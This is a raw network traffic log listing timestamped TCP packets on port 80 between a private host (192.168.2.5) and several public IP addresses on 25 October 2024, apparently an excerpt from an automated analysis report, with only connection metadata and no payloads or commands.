Oct 25, 2024 11:17:38.307859898 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.307878971 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.307910919 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308131933 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308165073 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308181047 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308268070 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308283091 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308288097 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308288097 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308299065 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308314085 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308320999 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308330059 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308346033 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308346033 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308368921 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.308370113 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308392048 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308393002 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308408976 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308415890 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.308423996 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308439016 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308453083 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308468103 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308484077 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308502913 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.308523893 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.308804035 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308818102 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308832884 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308856010 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308871031 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308887005 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308902979 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.308923006 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.308964014 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.309079885 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309103966 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309119940 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309134007 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309149981 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309195042 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.309200048 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309215069 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309226036 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.309230089 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309250116 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.309253931 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309269905 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.309273005 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.309294939 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.309310913 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.309808016 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.309838057 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.309854031 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.309868097 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.309883118 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.309896946 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.309912920 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.309926033 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.309936047 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.309968948 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.310269117 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310283899 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310306072 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310339928 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310355902 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310369968 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310385942 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310386896 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.310400963 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310415983 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310420990 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.310431957 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310432911 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.310453892 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.310487032 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.310765028 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.310790062 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.310823917 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.310837984 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.310854912 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.310877085 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.310893059 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.310906887 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310924053 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.310935020 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.310942888 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.311053991 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.311088085 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.311088085 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.311713934 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.311729908 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.311745882 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.311769962 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.311784029 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.311800003 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.311815023 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.311821938 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.311842918 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.311867952 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.312690020 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.312745094 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.312767029 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.312782049 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.312798023 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.312802076 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.312809944 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.312813044 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.312829018 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.312844038 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.312860966 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.312886000 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.313604116 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.313716888 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.332874060 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:17:38.338233948 CEST	80	52614	104.26.3.124	192.168.2.5
Oct 25, 2024 11:17:38.338619947 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:17:38.338737011 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:17:38.344033957 CEST	80	52614	104.26.3.124	192.168.2.5
Oct 25, 2024 11:17:38.349893093 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.349936008 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.349963903 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.349992990 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.350008011 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.350065947 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.350119114 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.357990026 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:38.363535881 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:17:38.363606930 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:38.363738060 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:38.369115114 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:17:38.422535896 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422571898 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422588110 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422604084 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422621012 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422655106 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422693014 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.422703981 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422719955 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422734976 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422758102 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.422790051 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.422924995 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422940016 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.422955036 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423038006 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423047066 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423063040 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423074007 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423080921 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423096895 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423091888 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423152924 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423183918 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423335075 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423358917 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423373938 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423389912 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423404932 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423476934 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423510075 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423598051 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423669100 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423697948 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423712969 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423727989 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423743010 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423757076 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423763037 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423782110 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423785925 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423799992 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423815012 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423813105 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423830986 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423841953 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423841953 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423846960 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423863888 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423871994 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423871994 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423887014 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423896074 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423907995 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:17:38.423918009 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.423964977 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:17:38.425132990 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425179958 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425214052 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425230026 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425245047 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425293922 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.425347090 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.425358057 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425373077 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425388098 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425403118 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425414085 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.425420046 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.425477028 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.425477028 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.425991058 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426073074 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426088095 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426122904 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426137924 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426150084 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426150084 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426172972 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426173925 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426198006 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426212072 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426222086 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426222086 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426228046 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426242113 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426254988 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426254988 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426259041 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426287889 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426287889 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426301956 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426608086 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426703930 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426718950 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426734924 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426748991 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426764965 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426788092 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426805019 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426820993 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426825047 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426836014 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426851988 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.426867008 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.426917076 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.427537918 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427555084 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427604914 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427618027 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427634001 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427656889 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427673101 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427680969 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.427685976 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427701950 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427731991 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.427731991 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.427733898 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427751064 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.427778006 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.427778006 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428606033 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428621054 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428636074 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428745031 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428749084 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428764105 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428791046 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428791046 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428798914 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428813934 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428827047 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428839922 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428839922 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428842068 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428858042 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428874969 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.428879023 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428879023 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428908110 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.428936005 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.429382086 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429439068 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429455042 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429470062 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429528952 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429543018 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429570913 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.429586887 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429594994 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.429603100 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429620028 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429634094 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429650068 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.429678917 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.429678917 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.429724932 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.433907032 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.433922052 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.433936119 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.433952093 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.433975935 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.433990955 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434005022 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434019089 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434029102 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434041023 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434056044 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434070110 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434081078 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434084892 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434098005 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434101105 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434113026 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434117079 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434130907 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434145927 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434160948 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434161901 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434161901 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434175968 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434190989 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434209108 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434220076 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434220076 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434225082 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.434254885 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434254885 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.434312105 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.466937065 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.466998100 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467011929 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467071056 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467086077 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467093945 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:38.467101097 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467116117 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:38.467118025 CEST	52604	80	192.168.2.5	108.167.164.216
